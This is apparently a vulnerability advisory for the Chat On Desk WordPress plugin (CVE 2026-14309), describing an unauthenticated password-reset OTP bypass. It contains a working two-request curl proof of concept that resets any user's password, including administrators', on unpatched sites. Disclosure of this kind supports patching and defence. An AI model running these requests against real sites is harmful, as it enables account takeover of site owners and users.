Chat On Desk < 1.0.9 – Unauthenticated Account Takeover via Password Reset OTP Bypass | CVE 2026-14309

Description

The plugin does not verify that the one-time password has been validated before processing a password-reset request, allowing unauthenticated attackers to reset the password of arbitrary users, including administrators, and take over their accounts when SMS one-time-password password reset is enabled.

Proof of Concept

Prerequisites (all part of using the plugin's SMS one-time-password reset feature): an admin has configured the SMS gateway credentials and enabled the OTP password-reset option; the victim account has a registered phone number. No authentication, and no OTP, is used in either request below.

# Step 1 (unauthenticated): initiate lost-password for the victim. This writes the victim username into the PHP session before any OTP is validated.
curl -sk -c cookies.txt -X POST 'https://victim.example/wp-login.php' \
  -d 'action=lostpassword' -d 'user_login=<victim_login>' -d 'wc_reset_password=1'
# -> HTTP 200, renders the OTP challenge form, issues a PHPSESSID

# Step 2 (unauthenticated): change the password with NO OTP, reusing the Step 1 cookie.
curl -sk -b cookies.txt -X POST \
  'https://victim.example/wp-admin/admin-ajax.php?option=chatondesk-change-password-form' \
  -d 'chatondesk_user_newpwd=AttackerPass123' -d 'chatondesk_user_cnfpwd=AttackerPass123'
# -> HTTP 302 -> /my-account/?password-reset=true ; the victim's password is now AttackerPass123.

# The WooCommerce /my-account/lost-password/ path also works for Step 1 but requires the woocommerce-lost-password-nonce; the wp-login.php path above is equivalent and simpler.